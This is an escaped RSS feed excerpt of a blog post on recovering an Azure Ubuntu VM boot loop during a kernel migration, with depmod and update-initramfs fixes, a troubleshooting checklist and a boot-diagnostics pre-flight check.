&lt;p&gt;The fix:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;depmod -a 6.8.0-1015-generic
update-initramfs -c -k 6.8.0-1015-generic
update-grub
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;-c&lt;/code&gt; (create) rather than &lt;code&gt;-u&lt;/code&gt; (update) was the deliberate choice — the existing initramfs was the suspected malformed artifact, so regenerating from scratch was safer than patching it in place.&lt;/p&gt;

&lt;p&gt;After this, a normal reboot from the Azure portal came up cleanly on &lt;code&gt;linux-generic&lt;/code&gt; with SSH reachable again.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why the reboot between install and purge matters
&lt;/h2&gt;

&lt;p&gt;The general advice — reboot and confirm before purging the old kernel — is usually framed as "keep a fallback GRUB entry available." The &lt;code&gt;depmod&lt;/code&gt; root cause adds a second, more specific reason: a reboot between installing the new kernel and removing the old one forces a clean package configuration state. The same-session install-then-purge sequence can skip past the &lt;code&gt;depmod&lt;/code&gt; step that &lt;code&gt;update-initramfs&lt;/code&gt; depends on, producing a malformed initramfs that only surfaces as a boot failure after the reboot you skipped.&lt;/p&gt;




&lt;h2&gt;
  
  
  Troubleshooting checklist for serial-console-reachable boot failures
&lt;/h2&gt;

&lt;p&gt;In order of how often each turns out to be the actual cause:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Confirm kernel and initramfs files exist on disk&lt;/strong&gt; — &lt;code&gt;ls&lt;/code&gt; from the GRUB command line before assuming anything about &lt;em&gt;why&lt;/em&gt; boot is failing&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check &lt;code&gt;modules.dep&lt;/code&gt; and run &lt;code&gt;depmod -a&lt;/code&gt; explicitly&lt;/strong&gt; if initramfs generation logs mention missing module dependencies — a plain &lt;code&gt;update-initramfs&lt;/code&gt; re-run won't fix it without &lt;code&gt;depmod&lt;/code&gt; first&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Inspect &lt;code&gt;/etc/default/grub&lt;/code&gt; and &lt;code&gt;/boot/grub/grub.cfg&lt;/code&gt;&lt;/strong&gt; for a default entry pointing at a kernel version that no longer exists&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check disk space on &lt;code&gt;/boot&lt;/code&gt;&lt;/strong&gt; — a full &lt;code&gt;/boot&lt;/code&gt; partition can silently truncate &lt;code&gt;update-initramfs&lt;/code&gt; or &lt;code&gt;update-grub&lt;/code&gt; without a clear error, only surfacing as a boot failure afterward&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Consider a snapshot restore&lt;/strong&gt; if manual recovery isn't converging — sometimes the right first move rather than the last resort, depending on time pressure&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Pre-flight check for the next server in the wave
&lt;/h2&gt;

&lt;p&gt;Two changes folded back into the migration runbook after this incident:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Never purge the old kernel in the same session as installing the new one — always reboot and confirm first&lt;/li&gt;
&lt;li&gt;Confirm boot diagnostics is enabled and serial console access is usable — role permissions included — on every source VM &lt;em&gt;before&lt;/em&gt; starting kernel-level work
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az vm boot-diagnostics get-boot-log --name &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;vm-name&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; --resource-group &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;rg-name&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; \
  &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null 2&lt;span class="o"&gt;&amp;gt;&amp;amp;&lt;/span&gt;1 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"OK: boot diagnostics reachable"&lt;/span&gt; \
  &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"WARNING: boot diagnostics not enabled or not reachable — enable before kernel changes"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Read the Full Article
&lt;/h2&gt;

&lt;p&gt;The full article covers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Why this boot loop failure is structurally different from the AWS-side &lt;code&gt;ena&lt;/code&gt; driver issue in the previous article — same symptom ("server unreachable after kernel change"), completely different cause and recovery tool&lt;/li&gt;
&lt;li&gt;The full GRUB command-line recovery walkthrough with exact commands&lt;/li&gt;
&lt;li&gt;Why &lt;code&gt;update-initramfs -c&lt;/code&gt; rather than &lt;code&gt;-u&lt;/code&gt; was the right choice once at a shell&lt;/li&gt;
&lt;li&gt;The decision to do manual recovery rather than snapshot restore — and when snapshot restore is actually the better first move&lt;/li&gt;
&lt;li&gt;The pre-migration pre-flight script extended to confirm serial console access before kernel work begins&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;👉 &lt;a href="https://aloknecessary.in/blogs/azure-serial-console-boot-loop-recovery/?utm_source=devto&amp;amp;utm_medium=referral&amp;amp;utm_campaign=blog_syndication&amp;amp;utm_content=azure-serial-console-boot-loop-recovery" rel="noopener noreferrer"&gt;Recovering an Azure VM Boot Loop with Serial Console, Mid-Migration — Full Article&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>azure</category>
      <category>linux</category>
      <category>devops</category>
      <category>aws</category>
    </item>
  </channel>
</rss>
